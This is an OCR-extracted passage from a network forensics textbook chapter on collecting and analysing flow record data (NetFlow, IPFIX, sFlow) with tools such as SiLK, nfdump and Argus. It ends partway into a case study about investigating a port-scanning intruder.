20. P. Phaal, “RFC 3176—InMon Corporation’s sFlow: A Method for Monitoring Traffic in Switched and
Routed Networks,” IETF, September 2001, http://www.rfc-editor.org/rfc/rfc3176.txt.
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now maintained at sFlow.org).?! sFlow is supported by many network device manufacturers
(although notably, not Cisco).?2

sFlow is different from Netflow and IPFIX, in that it is designed to conduct statistical
packet sampling and does not support recording and processing information about every
single packet. The benefit of packet sampling is that it scales well to very large networks,
with high throughput. The down side is that packets that are not sampled are not recorded
and cannot be analyzed. For this reason, NetFlow and IPFIX are likely to be better options
for the purposes of forensic analysis.

Flow Export: Transport-Layer Protocols

Traditionally, flow export data was transmitted over the network via UDP, which is a con-
nectionless, unreliable transport-layer protocol. Unless a higher layer provides reliability
(such as the application layer), flow export data transported via UDP may be dropped in
transit and never recovered. Modern flow export protocols such as NetFlow v9 and IPFIX
are transport-layer independent, allowing network engineers to use reliable transport-layer
protocols such as the Stream Control Transmission Protocol (SCTP) for flow export data
transmission.

SCTP has built-in support for reliable packet delivery, much like TCP. However, unlike
TCP, it is optimized for transport of streaming data. If you consider the way that TCP was
first designed, streams of packets could be easily disrupted by any amount of packet loss
anywhere in the stream, simply because the entire transfer would have to be held up for
the single retransmitted segment (“head-of-line blocking”). TCP has evolved to address this
problem to some degree, through features such as the Selective Acknowlegment option.

SCTP was designed from inception to allow for volume transfers, including multiple
streams over a single session. This allows different types of data to be transmitted concur-
rently and reliably on separate streams (for example, NetFlow template information can be
sent on a separate stream from flow export data). SCTP is a natural choice for transport of
flow export data, since it provides reliability for multiple voluminous streams.

5.4 Collection and Aggregation

Once you have exported flow record data from a sensor, you need a collector or multiple
collectors to receive data in the export format and store it on disk. The architecture of
the collector system is very flexible. A collector can run on a wide variety of hardware and
software platforms as long is it supports the flow export format used to export the flow
record data of interest.

21. “Specifications for Developers,” Sflow, 2011, http://www.sflow.org/developers/specifications.php.
22. “sFlow Products: Network Equipment,” 2011, http://www.sflow.org/products/network.php.
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5.4.1 Collector Placement and Architecture

It’s important to carefully consider where to place your collectors within the infrastructure,
how to secure the system and the flow record data in transit, and how many collectors will
be needed. Factors to consider include:

e Congestion Flow record exportation generates network traffic. This can exacerbate
network congestion or, conversely, network congestion can cause problems with flow
record exportation. When placing collectors, it is wise to choose locations within the
network where transit times between sensor and collector are unlikely to be impacted
by either routine or incident-based congestion (such as that caused by a worm).

e Security Can flow export data be “sniffed” or modified in transit? It’s important
to consider these questions when setting up flow export collectors, particularly if you
suspect the local network may be compromised. While there is no “silver bullet,”
forensic investigators have options for implementing reasonable security measures,
depending on the environment.

To protect the confidentiality of flow export data, investigators can place collectors
on segments where the paths between collector and sensor are access-controlled and
well protected. Exporting flow record data on a separate VLAN from other traffic is
usually a good idea. Collectors and sensors can even be networked across an isolated
physical cable, or run on the same physical system, with sensor data exported across
the localhost interface.

It is also possible to encrypt the flow export data as it is transmitted across the
network, with protocols such as IPSec or TLS.?3 While flow record data is not com-
monly encrypted in transit, forensic investigators should strongly consider this as an
option when it is supported by sensor and collector software, especially when flow
export data is transmitted across insecure or shared network segments.

e Reliability Depending on the transport-layer protocol, packets dropped due to net-
work congestion or denial-of-service attacks may be lost forever. Traditionally, flow
export data has been transmitted over UDP, a connectionless protocol with no built-
in support for reliability. Over the years, flow export formats have evolved to support
reliable transport-layer protocols as well, such as TCP and SCTP. It is wise to use
transport-layer protocols with built-in reliability whenever possible, especially when
flow collection is being conducted for the purposes of forensic investigation.

e Capacity One of the main design choices to consider is how many collectors to set
up. On the one hand, consolidating collection on a single system reduces hardware
and software costs and facilitates aggregation and analysis. On the other hand, it’s
important to ensure that each collector can keep up with the bandwidth generated
by the sensors, based on its network card capabilities, processing power, RAM, and
storage space. A single physical system can run multiple collector processes listening

23. S. Leinen, “RFC 3955—Evaluation of Candidate Protocols for IP Flow Information Export (IPFIX),”
IETF, October 2004, http://www.rfc-editor.org/rfcs/rfc3955.html.
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for input on different ports, which can help system administrators track usage and
facilitate remediation in the event of overload. Since hardware requirements for a
collector are generally flexible, adding additional collectors is usually fairly easy to
accomplish.

e Strategy for Analysis Your strategy for analysis will also affect placement, soft-
ware choices, and configuration of collectors. If you are purchasing a commercial tool
which has collector and analysis functionality bundled together, you will have different
constraints than if you are planning to have a separate anlaysis system that can receive
flow report data from multiple sources and aggregate it. Consider the architecture of
your analysis environment when setting up the collectors.

5.4.2 Collection Systems

There are commercial collectors that often double as analysis tools. These include Cisco
NetFlow Collector, Manage Engine’s NetFlow Analyzer, WatchPoint NetFlow Collector,
and others.

There are also a wide spectrum of free and open-source collector tools. These are often
bundled as part of a larger flow record collection and analysis suite. We discuss four open-
source collector tools in this section: flowcap (from the SiLK suite), flow-capture (from the
flow-tools suite), nfcapd (from the nfdump suite), and the Argus collection utility.

5.4.2.1 SiLK

The “System for Internet Level Knowledge” (SiLK) is a suite of command-line tools for the
collection and storage of flow data that provides a very powerful toolset for the filtering
and analysis of flow records.?* One of several projects produced by the Network Situational
Awareness (NetSA) group at CERT,?® SiLK can process NetFlow versions 5 and 9 and
IPFIX data and produce statistical data in a variety of output formats, configurable to a
fine level of granularity. Of course, as with most extremely powerful and flexible toolsets,
there is a cost in the form of a learning curve.

SiLK includes two collector-specific tools, flowcap and rwflowpack. The “rwflowpack”
tool is designed to collect flow record data from a network socket or files and export it
to the compressed SiLK Flow format. It supports NetFlow version 5, NetFlow version 9,
and IPFIX, although IPFIX and NetFlow v9 are only supported if SiLK is compiled with
support for NetSA’s libfixbuf?® software library.?”

Rwflowpack can also accept input over a TCP socket from the SiLK flowcap tool. Flowcap
similarly listens for flow records on a network socket, temporarily stores flow data to disk or
RAM, and forwards the compressed stream to a client program such as rwflowpack.?® This

24. “SiLK,” CERT NetSA Security Suite, 2011, http://tools.netsa.cert.org/silk.

25. “Featured Projects,” CERT NetSA Security Suite, 2011, http://tools.netsa.cert.org.

26. “Fixbuf,” CERT NetSA Security Suite, 2011, http://tools.netsa.cert.org/fixbuf/libfixbuf/index.html.
27. “SiLK sensor.conf,” CERT NetSA Security Suite, 2011, http://tools.netsa.cert.org/silk/sensor.conf.html.

28. “Flowcap—Capture, Store, and Forward Flow Data,” 2006, http://silktools.sourceforge.net/flowcap
.pub.html.
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architecture allows flow records to be collected close to the sensor and then is transferred
via TCP to rwflowpack for processing. The SiLK collector tools support TCP and UDP for
IPFIX flow record collection and UDP for NetFlow flow record collection.

5.4.2.2 flow-tools

The flow-tools suite is an open-source collection of flow export data collection and analysis
tools. It is modular and easily extensible. The flow-capture utility is designed to collect
NetFlow traffic exported by sensors via UDP. As of the time of this writing, flow-capture
supports NetFlow versions 1, 5, 6, 7, and 8.1-14. However, NetFlow version 9 and IPFIX
are not supported.2? This is a serious limitation, especially for forensic investigators, since
earlier versions of NetFlow do not provide support for reliable transport protocols. The flow-
capture tool only accepts input on UDP ports and does not natively support flow export
data collection via TCP or SCTP.

5.4.2.3 nfdump/NfSen

The nfdump suite includes tools for the collection, display, and analysis of network flow
record data. The collector daemon, nfcapd, supports NetFlow versions 5, 7, and 9. It can
read flow export data from a UDP network socket or pcap files, and it allows for exten-
sive customization of the data files stored on disk. As with flow-tools, the transport-layer
limitation is important for forensic investigators since forensics typically requires a higher
degree of reliability than perfornance analysis. Nfcapd is designed to be integrated with the
nfdump and NfSen display and analysis tools.? The nfdump and NfSen tools are released
under the open-source BSD license.?!

5.4.2.4 Argus

The Argus client tools suite also includes a collector. All of the Argus client programs
accept input both in the Argus format and NetFlow versions 1-8.3? Unfortunately, NetFlow
version 9 and IPFIX are not yet supported, although Qosient has indicated that support
for NetFlow 9 is in development. The Argus “radium” (“Argus Record multiplexor”) client
program is particularly useful for collection and distribution of flow export data because it
can accept Argus or NetFlow input from multiple network or filesystem sources and sends
Argus output to up to 128 client programs via the network or filesystem. As with other
Argus client programs, radium supports the use of BPF-style filter expressions.

29. Mark Fullmer, “flow-capture(1)—Linux man page,” 2011, http://linux.die.net/man/1/flow-capture.
30. “NFDUMP,” SourceForge, July 28, 2010, http://nfdump.sourceforge.net/.

31. Peter Haag, “Watch your Flows with NfSen and NFDUMP” (Switch: The Swiss Education and
Research Network, May 3, 2005), http://www.ripe.net/ripe/meetings/ripe-50/presentations/ripe50-plenary-
tue-nfsen-nfdump.pdf.

32. “Auditing Network Activity—Argus and Netflow,” March 26, 2010, http://www.qosient.com/argus/
argusnetflow.shtml.
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5.5 Analysis

Flow record data lends itself very well to statistical analysis. Although each flow record
contains only a very limited set of information about each flow, aggregated over time, this
information can be used to create a detailed picture of activity on the network, predict
normal behavior, and identify anomalies. The costs of collecting and aggregating network
flow record data are remarkably low when compared to the effort it takes to collect and
aggregate similarly descriptive data about real-world activities such as highway traffic or
pedestrian movements. As network forensic analysts, we are lucky to have access to so much
high-fidelity data regarding our environment. The next question is, What can we do with it?

Definition: Statistics

Statistics—“The science which has to do with the collection, classification, and analysis of
facts of a numerical nature regarding any topic.” ( The Collaborative International Dictionary
of English v.0.48)

In this section we discuss common analysis techniques that are useful for investigators
with access to flow data and also provide you with an overview of some popular tools.

5.5.1 Flow Record Analysis Techniques

The purpose of flow record collection is to store a summary of information about the traffic
flowing across the network. As a result, forensic analysis techniques such as carving content
out of traffic flows do not apply to flow record data. That said, forensic analysis of flow
record data is exceptionally powerful because the limited scope of data stored for each flow
allows for a huge number of flows to be analyzed in ways that would simply exceed the scope
of available storage and processing capabilties if full packet captures were used for the same
purpose.

The precise analysis techniques that you employ will vary on a case-by-case basis,
depending on your investigative goals and resources. As we discuss in the next section,
the tools you choose will also impact your analysis (and vice versa). There are some analysis
techniques, primarily statistical in nature, which are particularly well suited for flow record
forensics. Keep in mind that this field of study is still nascent and flow record analysis
techniques will quickly advance in the years to come.

Flow record analysis is typically an iterative process. Important highlights include:

1. Goals and Resources As always, the goals of your investigation and available
resources shape your analysis. Are you trying to identify compromised systems? Eval-
uate whether a data breach occurred? Investigate an HR violation?

Make sure to assess your available time, staff, equipment, and tools. How much flow
record data can you process? Given the format of the data and your goals, what tools
are most appropriate for use? As your investigation begins, strategize and identify
the analysis techniques that will best fit with your investigative goals and available
resources.
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2. Starting Indicators Every investigation begins with some triggering event. Inves-
tigators are normally provided with some pieces of evidence that can be used to begin
analysis (“starting indicators”). Starting indicators may include:

e [P address of a compromised or malicious system

e Time frame in which malicious activity is suspected, even if the participants are

unknown

e Known ports on which a worm was suspected to be active

e Specific flow records that indicate abnormal or unexplained activity

You may be given the IP address of a compromised system, or the domain name of
a suspicious web site, or a description of malware behavior to search for in flow record
data. Each of these “starting indicators” is useful for different analysis techniques. The
volume and type of data you begin with will shape your investigation.

3. Analysis Techniques

(a)

Filtering Filtering is a general term for narrowing down a large pool of evi-
dence to a subset—or groups of subsets—that are of interest. This is a funda-
mental technique in nearly every investigation that involves flow record data,
since normally investigators are provided with far more flow record data than is
relevant for the case at hand and must select only small percentages for detailed
analysis and presentation.

Baselining Using flow record data, network administrators can build a profile
of “normal” network activity. Forensic investigators can compare flow record
traffic to the baseline profile in order to identify anomalies.

“Dirty Values’® A common strategy in digital forensics of all types is to com-
pile a list of suspicious keywords or other values to use when searching for evidence
relevant to a case. For flow record data specifically, “dirty values” might include
IP addresses, ports, or protocols.

Activity Pattern Matching Every activity leaves a fingerprint on the net-
work. Simple patterns, such as large unidirectional volumes of traffic flow, can
indicate specific activities that may be suspicious given the context (such as the
presence of a high-volume, Internet-accessible file server on a subnet that should
only contain company workstations). More complex patterns may match the be-
haviors of known worms or viruses. A trained investigator can pick out suspicious
activity that manifests as complex and subtle variations in flow record evidence.

In this section, we briefly discuss how the forensic analysis techniques of filtering, baselin-
ing, “dirty values” search, and activity pattern matching apply to flow record analysis.

5.5.1.1

Filtering

Filtering is fundamental to flow record analysis. As a forensic investigator, your job is to
remove extraneous details and identify events, hosts, ports, and activities of interest. For
example, if your starting indicator was a specific IP address, you might start by isolating
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all activity relating to that IP address and picking out subsets of flows for analysis until
you have gathered the evidence you need and built your case. Alternatively, you might
filter for flows that match particular patterns of activity indicative of worm behavior, data
exfiltration, port scanning, or other suspicious behavior, depending on your investigative
goals.

In rare instances, you may be provided with only the specific flows of interest in a case,
but the vast majority of the time you will have access to a large volume of flow record data
and will need to pick out the flows relevant to your case.

Most analysis techniques used for forensic analysis of flow records are based on filtering.

5.56.1.2 Baselining

One of the advantages of collecting flow record data (as opposed to full traffic captures) is
that due to the dramatically smaller size of flow record data, longer historical periods can
be kept accessible and perhaps even archived indefinitely.

Network traffic analysts can build, maintain, and reference a baseline of traffic and
identify trends and patterns of activity that are considered “normal” for the environment
(or at least understood and explainable). By aggregating a large volume of flow information,
it’s possible to build a large, detailed set of benchmarks of what should be considered normal
over any span of time and across business cycles. Forensic investigators can reference these
baselines in order to analyze suspicious activity.

Network baselines By looking at general trends over time for monitored segments, the
traffic seen can be understood even if specific source and destination IP addresses must be
abstracted or generalized.

Host baselines Likewise, when a particular host becomes of interest, investigators can
build or refer to a historical baseline of a specific host’s activities in order to identify or
investigate anomalous behavior.

In most cases, the network flow patterns of a host change dramatically when it is compro-
mised or under attack. By referring to a baseline of activity over time, you can often pick out
approximate times of compromise or other important events relating to the investigation.

5.5.1.3 “Dirty Values”

In hard drive analysis, it’s common to compile a list of “dirty words”—keywords that relate
to the investigation—and then search the hard drive for ASCII or Unicode strings that
contain any of those keywords. This allows the investigator to pick out relevant sectors of
the hard drive, even if the filesystem or partition table has been mangled, and find needles
in the haystack.

Similarly, network forensic analysts can compile a list of “dirty values” and search flow
record data to pick out relevant entries. When conducting statistical flow analysis, “dirty
values” aren’t usually words—they are more likely to be suspicious IP addresses, ports,
dates, and times. However, the concept is the same. As you conduct your analysis, you will
often find that it is helpful to maintain an updated list of suspicious values that you collect
as you move forward.
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5.5.1.4 Activity Pattern Matching

Network flow record data, when aggregated, represents complex behavior that is often pre-
dictable and can be analyzed mathematically. We have previously compared network flows to
traffic on physical roads. As with physical-world phenomena network flows contain patterns
that can be empirically measured, mathematically described, and logically analyzed.

The biggest challenge for forensic investigators and anyone who analyzes flow record data
is the absence of large publicly available data sets for research and comparison. However,
within an organization, it is entirely possible to empirically analyze day-to-day traffic and
build statistical models of normal behavior.

In this section, we briefly describe the basic elements of flow record analysis and present
a high-level discussion of how to identify and analyze activity patterns that are commonly
useful for network forensic investigators.

Elements Flow record data can be customized, but common elements include source and
destination IP address, source and destination ports, protocol and flags, directionality of
flow, and volume of data transferred.

e IP address The source and destination IP addresses are great clues that reveal a
lot about the cause and purpose of a flow. Consider whether the addresses are on
an internal network or Internet-exposed, countries of origin, what companies they are
registered to, and other factors.

e Ports Although ports are not required to correspond with particular services, much
of the time they do correspond with assigned or well-known ports linked to specific
applications or services. Port numbers can also indicate whether a system is port
scanning or being scanned and help you identify malicious activity.

e Protocol and Flags Layer 3 and 4 protocols are often tracked in flow record data.
These can indicate whether connections were completed and help you tell the differ-
ence between connection attempts that were denied by firewalls, successful port scans,
successful data transfers, and more. They can also help you make educated guesses as
to the content and purpose of a flow.

e Directionality The directionality of the flows are crucial. For example, directional-
ity can indicate whether proprietary data has been leaked or a malicious program was
downloaded. Taken in aggregate, the directionality of data transfers can allow you to
tell the difference between web-surfing activity and web-serving activity.

e Volume of data transferred The volume of data transferred can help indicate the
type of activity and whether or not higher-layer data transfer attempts were successful.
For example, many small TCP packets may be indicative of port scanning, whereas
larger packets can indicate file exportation. The distribution of the data transferred
over time matters; a large volume of data transferred in a very short period of time is
usually caused by something different than the same amount of data transferred over
a very long period of time.
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Simple Patterns Even novice forensic investigators can identify simple patterns by eye in
flow traffic and often logically discern their meanings. Here are a few examples of simple
patterns relating to source and destination IP addresses:

o “Many-to-one” IP addresses If you see many IP addresses sending large volumes
of traffic to one destination IP address, this may be indicative of a:

— Distributed denial-of-service attack against the destination IP address
— Syslog server

— “Drop box” data repository on the destination IP address

— Email server (at destination)

e One to many IP addresses If you see one IP address sending large volumes of
traffic to many IP addresses, this may be indicative of a:

— Web server

— Email server (at source)
— SPAM bot

— Warez server

— Network port scanning

e Many to many IP addresses Many IP addresses sending distributed traffic to
many destinations can be indicative of:

— Peer-to-peer filesharing traffic
— Widespread virus infection

e One to one IP address Traffic from one IP address targeted at one other IP
address can indicate:

— Targeted attack against a specific system
— Routine server communications
Of course, context is key. Specific ports, protocols, timing information, and other ele-
ments can help to narrow down the meaning of the flow record data even further.

Complex Patterns “Fingerprinting” is the process of matching complex flow record pat-
terns to specific activities. When fingerprinting traffic, we examine multiple elements and
their context and develop a hypothesis of the cause of the behavior.

For example, a TCP SYN port scan might have the following characteristics:

e One source IP address

e One or more destination IP addresses

Destination port numbers increasing incrementally

Volume of packets surpassing a specified value within a period of time
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e TCP protocol
e Outbound protocol flags set to “SYN” (no full TCP connections)

It’s even possible to identify specifically which tool created the port scan, using flow
record fingerprinting, since different port scanning tools have different algorithms for select-
ing source and destination port numbers, TCP window sizes, timing of packets, and other
characteristics.

Statistical flow record analysis is still in its infancy. Over time, as this field matures,
analysts will develop better tools and mechanisms for identifying the causes of network
activity. In the meantime, forensic investigators should at the very least be familiar with
the basic elements and simple patterns common in flow record analysis and refer to any
baselines that exist within the environment under investigation.

5.5.2 Flow Record Analysis Tools

Many flow record analysis tools have emerged over the years, designed for different purposes
and with varying levels of maturity. In this section, we provide you with a brief overview
of the analysis capabilities included in selected widely used flow record analysis tools: flow-
tools, SiILK, Argus, FlowTraq, nfdump/NfSen. There are many other tools out there, and
more are released every day. We encourage you to do your own research to identify tools
that are most appropriate for your customized investigative toolkit.

Notably, some of the most popular tools from the past decade, such as flow-tools, do not
natively support the IPFIX/NetFlow v9 format, which limits both collection and analysis.
Furthermore, some versions of tools do not produce accurate output when data generated
using proprietary formats, such as Cisco NetFlow v9, is used as input.

Throughout this book, we generally present open-source tools that are widely accessible.
However, developers of open-source tools often have limited access to expensive commercial
network equipment that generates flow record data in proprietary formats. In some cases,
such as nfdump, specific branches of development have forked from the main project in order
to incorporate input from vendors. As a result, if you are analyzing flow record data that
is stored in a proprietary format such as Cisco’s NetFlow v9, be sure to carefully research
whether your analysis tools, and the specific version you are using, fully support the format
you wish to analyze.

5.5.2.1 SiLK

The SiLK suite includes powerful flow export data analysis capabilties. Here is a quick
summary of some of the more important analysis tools in the SilK suite.

o rwfilter One of SiLK’s core tools, rwfilter, is designed to extract flows of interest
from a particular data repository, filter them by time and category, and then “parti-
tion” them further by protocol attributes. It supports a rich syntax that is generally
as functional as the BPF, though different.33

33. “The SILK Reference Guide (SiLK-2.4.5),” February 25, 2011, http://tools.netsa.cert.org/silk/
reference-guide.html.
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Initial flow selection typically includes date and time ranges, sensor class (by default
all sensors), and a flow type. The SiLK toolkit defines six basic “types” of traffic,
although not so much by protocol or layer: in, inweb, innull, out, outweb, and outnull,
which correspond to successful versus unsuccessful flow attempts in either direction,
further sorted by TCP port 80 versus everything else. (Of course the “successful vs.
unsuccessful” part presumes that the reporting sensor is itself a filtering device, which
is not uncommon.)

Rwfilter can be configured to output statistical summaries, or simply output de-
tailed results to “stdout,” suitable for input to most of the rest of the filtering and
manipulation tools in the SiLK suite.

e rwstats, rwcount, rwcut, rwuniq, et al. SiLK includes an arsenal of basic flow
export data manipulation utilities. Rwstats produces statistical aggregations based
on the protocol fields specified. Rwcount counts packets and bytes. Rwcut selects the
fields that rwuniq can help you sort on.3*

e rwidsquery This is a real gem. Let’s suppose there is a Snort sensor somewhere
in the environment, most likely on a critical segment. Perhaps some unusual alerts
have been detected on that heavily instrumented segment, and there’s concern the
activity may have spread to other internal segments where only flow record data is
being collected (as opposed to full packet captures). Rwidsquery can be fed either a
Snort rule file, or an alert file, and figures out what flows from its input would match
the rule or alert, and writes an rwfilter invocation to produce the flows that match.

e rwpmatch This is essentially a libpcap-based program that reads in SiLK-formatted
flow metadata and an input packet source and saves out just the packets that match
the flow metadata. So if you just happen to have a full packet capture in addition to
flow records, and your flow metadata turns up something interesting, you can extract
those packets with precision for further inspection.

e Advanced SiLK In addition to the chainable command-line suite, a Python inter-
preter, “PySiLK,” is available that implements the SiLK functionality by exposing it
through a Python API.?> The nice folks at NetSA have provided a “Tooltips” wiki so
the user community can share experience and grow better faster.36

5.5.2.2 flow-tools

The flow-tools suite includes a variety of flow export data collection, storage, processing,
and sending tools, including a few tools that are particularly useful for forensic analysis. The
“flow-report” tool creates ASCII-readable text reports based on stored flow data. Report
contents can be customized by the user through the configuration file, and then sent as

34. Timothy Shimeall, “Using SiLK for Network Traffic Analysis” (Software Engineering Institute: Carnegie
Mellon, September 2010), http://tools.netsa.cert.org/silk /analysis-handbook.pdf.

35. “PySILK Reference Guide (SiLK-2.4.5),” February 25, 2011, http://tools.netsa.cert.org/silk /pysilk.pdf.

36. Peter Rush, “NetSA Tools Wiki,” CERT, April 9, 2008, https://tools.netsa.cert.org/confluence/display/
tt/Tooltips.
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input to graphing or analysis programs. The “fHow-nfilter” program allows users to filter
flow export data based on “primitives,” which are specific to flow-tools.

For forensic investigators, “flow-dscan” is a particularly useful utility, designed to identify
suspicious traffic based on flow export data. It includes features for identifying port scanning,
host scanning, and denial-of-service attacks.

5.5.2.3 Argus Client Tools

The Argus suite includes a variety of specialized utlities with powerful analysis capabilties.
These include, among others:*7

e ra—Argus’ basic tool for reading, filtering, and printing Argus data. As with all other
Argus client programs, ra can read input from the network or the filesystem, in Argus
or Netflow 1-8 format. It includes support for BPF-style filter expressions. Ra allows
the user to specify fields for printing, select specific records for processing, match
regular expressions, and more.

e racluster—Cluster flow export data based on user-specified criteria. This is very
helpful for printing summaries of flow record data.

e rasort—Sort flow data based on user-specified criteria, such as source or destination
IP address, time, TTL, flow duration, and more.

e ragrep—Powerful regular expression and pattern matching, based on the GNU “grep”
utility.

e rahisto—Generate frequency distribution tables for user-selected metrics such as flow
record duration, source and destination port number, bytes transferred, packet count,
bits per second, and more.33

e ragraph—Create visual plots based on user-specified fields of interest, such as bytes,
packet counts, average duration, IP address, ports, and more. Ragraph includes a
variety of tools that allow users to customize the graph appearance.

5.5.2.4 FlowTraq

FlowTraq is a commercial flow record analysis tool developed by ProQueSys. Although there
are many commercial tools out there for processing flow record data, FlowTraq is a nice op-
tion for several reasons. First, it supports a very wide variety of input formats, including
NetFlow v9, IPFIX, JFlow, and many others. It can also sniff traffic directly and generate
flow records. Once collected, FlowTraq allows users to filter, search, sort, and produce reports
based on flow records. In addition, you can specify patterns to generate alerts. FlowTraq
supports a variety of operating systems (Windows, Linux, Mac, and Solaris), and is designed

37. “Argus—NSMWiki,” Sguil, 2011, http://nsmwiki.org/index.php?title=Argus#St.C3.A9phane_Peters
.27s_Cheat _sheet.

38. Carter Bullard, “Argus Development Mailing List—Real Time Flow Monitor (RTFM) for Compre-
hensive IP Network Traffic Auditing,” November 21, 2010, http://blog.gmane.org/gmane.network.argus/
month=20061121.
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Figure 5—1. A screenshot of the FlowTraq commercial flow record analysis GUI, created using
ProQueSys’ online demo.?®

and marketed for forensics and incident response (among other purposes).*’ Figure 5-1
shows an example screenshot of FlowTraq, using data from their online demo.*!

5.5.2.5 nfdump/NfSen

The “nfdump” utility (part of the nfdump suite) is designed to read flow record data, analyze
it, and produce customized output. It offers users powerful analysis features, including: >

Aggregate flow record fields by specific fields

Limit by time range

Generate statistics about IP addresses, interfaces, ports, and much more

e Anonymize IP addresses

39. “Online Demo,” ProQueSys, 2010, http://www.proquesys.com/corporate/flowtrag-demo.
40. “Features,” ProQueSys, 2010, http://www.proquesys.com/corporate/product/features.
41. “Online Demo,” ProQueSys, 2010, http://www.proquesys.com/corporate/flowtrag-demo.
42. “NFDUMP.”
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e Customize output format
e BPF-style filters

“NfSen” (“Netflow Sensor”) provides a graphical, web-based interface for the nfdump
suite. It is an open-source tool written in Perl and PHP, designed to run on Linux and
POSIX-based operating systems.*?

5.5.2.6 EtherApe

EtherApe is an open-source, libpcap-based graphical tool that visually displays network
activity in real time. It reads packet data directly from a network interface or pcap file.
(Note that EtherApe does not take flow records as input. We are including it here because
it provides a nice high-level visualization of traffic patterns, and therefore may be of interest
to the reader.) As shown in Figure 5-2, Ether Ape visually displays source and destination IP
addresses/hostnames, with corresponding volumes of traffic. The GUI provides an intuitive,
high-level view of network activity. Colors indicate traffic protocols such as HTTP, SMB,
ICMP, IMAPS, and more. EtherApe also provides sortable traffic summaries, as shown in
Figure 5-3 and Figure 5-4.44
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Figure 5-2. The main EtherApe screen.

43. Peter Haag, “nfsen,” http://sourceforge.net/projects/nfsen/.

44. Riccardo Ghetta and Juan Toledo, “EtherApe, A Graphical Network Monitor,” May 31, 2011, http://
etherape.sourceforge.net/.
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& @ © EtherApe: Protocols
Columns

. | Protocol v | Port | Inst Traffic |Accum Traffic | Last Heard | Packets
ARP - Obps 5,094 Kbytes 10" ago 104
BOOTPS 67 0bps 5.368 Kbytes 20" ago 16

I DOMAIN 532 10.258 Kbps 62,395 Kbytes 0" ago 454

I HOSTMON 5355 0 bps 9.246 Kbytes 1" ago 144

I e - 0bps 5631 Kbytes 9" ago 9

I MNETBIOS-MNS 137 11.556 Kbps 19.621 Kbytes 0" ago 209
NTP 123 0bps 450 bytes 1'39" ago 5

I SHELL 514 23.948 Kbps 78.920 Kbytes 0" ago 594
55H 2?2 80.135Kbps 126.131 Kbytes 0" ago 827

I SYSLOG 514 0bps 565.164 Kbytes 1" ago 2292

I uoP-uNKNOWN - 0bps 208.497 Kbytes 1" ago 193

[ uoP_FRAGMENT - 0bps 10,018 Kbytes 24" ago 46

I v 80 0 bps 960 bytes 17" ago 9

[« | 2l

Figure 5-3. The EtherApe “Protocols” window.

[ show all nodes

Name v | Address | Inst Traffic | Accum Traffic | | ast Heard | Parkets | —
0.0.0.0 0.0.0.0 0bps 4,078 Kbytes 23" ago 27
10.30.30.20 10.30.30.20 114,341 Kbps 254.281 Kbytes 0" ago 1778
10.30.30.255 10.30.30.255 0bps 180 bytes 1'39" ago 2

166.204.0.0 166.204.0.0 0bps 1.055 Kbytes 23" ago 18
166.204.192.168 166.204.192.168 0bps 2,227 Kbytes 10" ago 38
169.254.255.255 169.254,255.255 0 bps 5.812 Kbytes 49" ago &0
169.254.37.184 169.254.37.184 0bps 8.836 Kbytes 48" ago 108
172.30.1.5 172.30.1.5 11.478 kKbps 2z.480 Kbytes 0" ago 158
172.30.1.77 172.30.1.77 80.135Khps 1726131 Khytes 0" ago /27
192.168.30.10 152.168.30.10 0bps 609.253 Kbytes 1" ago 2244
192.168.30.100 192.168.30.100 20118 Kbps 197.947 Kbytes 0" ago 648
192.168.30.101 192.168.30.101 0bps 1.072 Kbytes 1'2" ago 2
192.168.30.102 192.168.30.102 Obps 1.092 Kbytes 11" ago 2

197 148 2N ?EE 182 1AR 3N 2EE 2N 118 Khne 12 8na Khuree 0" ann 14a i

Figure 5—4. The EtherApe “Nodes” window.



5.6 Conclusion 183

5.6 Conclusion

Statistical flow record analysis is becoming increasingly important for forensic analysis, as
the rate of network traffic generated and the volume of data stored far outpaces the rate at
which investigators can process and analyze full packet captures. Although flow records were
originally generated for the purposes of monitoring and improving network performance, in
recent years investigators have begun to recognize that they are excellent sources of network-
based forensic evidence as well.

A variety of sensor, collector, aggregation, and analysis tools exist, ranging from propri-
etary to free and open-source tools. One of the biggest challenges forensic investigators face
is ensuring that the formats used by sensors and collectors are compatible with the analysis
tools chosen for the investigation. As the industry matures, there have been movements to
standardize flow record exportation formats, but support for flow record export formats is
still fragmented and many older tools exist that rely on older protocols. Forensic investiga-
tors also need to consider the placement and type of flow sensors and collectors throughout
the network environment in order to determine whether the evidence needed is already being
collected, or whether it is appropriate to configure additional flow record collection.

Ultimately, statistical flow record analysis is a very powerful field of study that will only
grow in importance over the next decades. As flow record processing tools and techniques
mature, investigators can expect to have increasingly powerful flow record analysis options
at our fingertips.
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5.7 Case Study: The Curious Mr. X

The Case: While a fugitive in Mexico, Mr. X remotely infiltrates the Arctic Nuclear Fusion
Research Facility (ANFRF) lab network over the Internet. Sadly, Mr. X is not yet very
stealthy.

Meanwhile ... Unfortunately for Mr. X, the ANFRF network is instrumented to cap-
ture flow record data. Security staff notice port scanning from his external IP address,
172.80.1.77, beginning at 2011-04-27 12:51:46 in the Cisco ASA flow record logs. His activ-
ities are discovered and analyzed . .. by you!

Challenge: You are the forensic investigator. Your mission is to:

e Identify any compromised systems
e Determine what the attacker found out about the network architecture

e Evaluate the risk of data exfiltration

Since the Arctic Nuclear Fusion Research Facility stores a lot of confidential information,
management is highly concerned about the risk of data exfiltration. If you find suspicious
traffic, provide an analysis of the risk that Secret Information was compromised. Be sure to
carefully justify your conclusions.

Network: The Arctic Nuclear Fusion Research Facility network consists of three segments:

e Internal network: 192.168.30.0/24
o DMZ: 10.30.30.0,/24

e The “Internet”: 172.30.1.0/24 [Note that for the purposes of this case study, we are
treating the 172.30.1.0/24 subnet as “the Internet.” In real life, this is a reserved
nonroutable IP address space.|

Evidence: Security staff at ANFRF collect network flow data from a Cisco ASA switch/
firewall that connects all three subnets at the perimeter. The flow record data is exported in
Cisco’s NetFlow v9 format to a collector running nfcapd. (Note that to collect data in Cisco’s
proprietary NetFlow v9 format, a specific fork of the nfdump suite, nfdump-1.5.8-NSEL, was
used for collection and analysis.)

In addition, the Cisco ASA is also configured with a SPAN port that monitors the Internal
and DMZ subnets. There is an Argus listener connected to the SPAN port, which retains
flow record data in Argus format from the two subnets (192.168.30.0/24 and 10.30.30.0/24).

You are provided with two files containing data to analyze:

e cisco-asa-nfcapd.zip—A zip archive containing flow records from the perimeter
Cisco ASA, stored by the nfdump collector utility (nfcapd) in 5-minute increments.
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e argus-collector.ra—An Argus archive containing flow record data collected from the
Internal and DMZ subnets via a SPAN port.

IMPORTANT NOTES: As you will see in the flow record data, there is a time skew of
approximately 8 seconds between the Cisco ASA and the Argus listener. In addition,
